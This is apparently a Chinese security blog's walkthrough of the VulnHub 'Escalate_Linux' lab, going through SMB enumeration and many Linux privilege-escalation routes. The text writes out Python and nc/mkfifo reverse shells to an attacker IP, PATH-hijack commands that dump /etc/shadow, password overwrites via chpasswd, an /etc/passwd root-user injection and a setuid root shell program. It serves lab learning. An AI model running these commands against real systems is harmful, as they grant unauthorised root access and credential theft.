VulnHub靶机 | ​Escalate_Linux

鼎新安全
don’t give up and don’t give in !


前言



集合了多种liunx提权方法的靶场,通过该靶场可以简单的了解liunx提权方法


扫描端口




80/tcp open http

111/tcp open rpc 2049/udp nfs要知道对方的共享才能挂载

139/445 Samba

SMB是一个协议名,全称是Server Message Block(服务器消息快协议),用于在计算机间共享文件、打印机、串口等,电脑上的网上邻居由它实现。一般共享文件夹和打印机使用较多 它是应用层(和表示层)协议,使用C/S架构

当远程连接计算机访问共享资源时有两种方式:
1.        \共享计算机地址共IP享资源路径
2.        \共享计算机名共享资源路径

smb的默认端口可能是139或者445,其工作的端口与其使用的协议有关。

Enum4linux是用于枚举windows和Linux系统上的SMB服务的工具。


smbclient 是一个在Unix/Linux系统中的一个应用程序,它允许用户以类似于 ftp 的方式访问Windows系统上的共享资源。它是Samba软件套件的一部分,可以让Linux系统与Windows系统进行网络共享。



-L 列出服务器上的共享资源
-N 不需要密码
-U 指定用户名
-W 指定工作组
-d 指定调试级别

smbclient ///要访问的文件名 -I ip -N


这条路走不通换一条

像这种初始页面是没有什么东西的,进行目录爆破

这爆出来的没什么用,像这种情况换字典或者模糊测试

apache 不会解析asp/aspx(iis)这种是iis的站

http请求→中间件→框架→数据库

在页面或者一些tcp请求:

中间件→: 暴露在外网的

数据库:内网(服务器)

站库分离

apache+php+mysql

apache,tomcat , nginx , IIs7.0以上

wfuzz最方便

dirb

-X .php .html .asp 指定文件后缀爆破

菜刀(不到1mb)→蚁剑→冰蝎,哥斯拉

冰蝎可以做一些加密和混淆shell,常见的waf检测不出来,是免杀和绕过最好的

哥斯拉利于管理,也有一些免杀

使用which 测试对方有没有python

进行反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.128",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


python -c 'import pty; pty.spawn("/bin/bash")'


稳定shell

在本机下载LinEnum

https://github.com/rebootuser/LinEnum

然后在kali上开启http服务,然后让目标下载下来

给权限

之后在tmp目录下启动,因为tmp目录权限大

还有一个linpeas.sh和上面的一样操作方法下载下来

然后给权限,进行执行./linpeas.sh和./linpeas.sh

history(历史命令)

存放了历史命令,如果出现了whoami uname -a 大概率就是被人打进来了

内网信息收集



linpeas:不存在内核漏洞,因为它都没变红

1,每5分钟去执行一次这个脚本

与本地建立的链接也看的到

2,3306端口

3,用户信息

uid,gid和groups是可以提权的

信息泄露



5,nfs挂载权限问题,前面有no没有开启安全功能,可以在共享的功能底下去互相传输

6,这个文件有root权限

7,root文件信息(疑似可提权目录)

/var/mysql(已发现)

script(ls)

abc.txt(空文件)

shell(.sh执行bash -i)

.script.sh(已利用)

.bash_history ,历史记录中有进攻的提示!

/etc/crontab

收集好信息准备提权

1,user3

有一个shell文件,用ida查看

int __cdecl main(int argc, const char **argv, const char **envp)
{
 setuid(0);
 setgid(0);
 system("./.script.sh");
 return 0;
}

调用的是.script.sh

应该在当前目录下,如果不在用find / -name .script.sh 2>dev/null

查找

调用了bash -i

1、suid提权


运行就获取到了root权限

2,user5

它下面有应该script文件

源码

int __cdecl main(int argc, const char **argv, const char **envp)
{
 setuid(0);
 setgid(0);
 system("ls");
 return 0;
}

可以使用PATH赋权执行命令

export PATH=/tmp:$PATH,当前只需要执行ls命令,就会调用tmp目录下的文件去执行!

ls一般是在/etc/ls这里

现在设置成了全局变量

本身ls是在/etc/ls这里的

在tmp目录创建ls文件。

全局变量调用/tmp/ls

执行script就会执行ls,就会执行tmp的ls

就拿到root权限了!

2、暴力破解


目录枚举爆破

/etc/shadow ——存放密匙信息

没有权限去看的

借鉴方法2,进行查看

echo 'cat /etc/shadow' > ls
chmod 777 ls
export PATH=/tmp:$PATH
./script

使用hash-identifier进行读取

这个值是可以爆破的

爆破要的值要全选,包括前面的用户名

爆破的存放在john下面了

root:12345

4,user4 计划任务

每5分钟执行一次 /home/user4/Desktop/autoscript.sh

也bash -i

只有user4才能执行

两个方法,一暴力破解或者信息枚举,二可以用ls也可以用.sh

chpasswd —-

echo ‘echo user4:12345 | chpasswd’ > ls

user4的密码就被覆盖了

没有执行成功,因为里面的bash -i 是写进去的,覆盖掉就可以了

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.128 6666 >/tmp/f' > autoscript.sh

进行nc反弹

成功

5,mysql

mysql -uroot -proot

看库

use user 进入库

然后看一下表

查看表信息

mysql mysql@12345

显示没有权限,uid和gid都是mysql,这种时候给它一个权限

信息泄露

6,user8

如果mysql没有user8的信息泄露,还可以用ls和.sh进行覆盖密码进入。

root权限进入vi,没有任何编辑就可以执行任何命令

(root)NOPASSWD:/usr/bin/vi

7,user7

user7是gid为0的root组的成员!

openssl passwd dayuxiyou

echo “dayu:BKStJ5AmLV5aA:0:0:root:/root:/bin/bash” >>/etc/passwd

8,和方法7一样,user4 group也有root

9,nfs user5

no_root_squash —-关闭了安全功能

/home/user5 *w,no_root_squash)

mount -t nfs 192.168.0.134:/home/user5 /tmp/dayu

df看系统有没有挂载

unmount /tmp/dayu 结束,要退出当前目录

目录是共享状态

缺少文件

写一个通用的shell

#include <stdlib.h>
int main() { setuid(0); setgid(0); system("/bin/sh"); }

将其写入shell.c文件

gcc编译一下之后执行就可以拿到root权限了

10,user2

(user1)ALL 可以sudo -u user1 /bin/bash

(root)ALL 括号有root就有root的全部权限

进入user1

然后sudo -l 然后sudo su

总结:一个集合了多种提权方法的靶场




END

注:鼎星安全有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容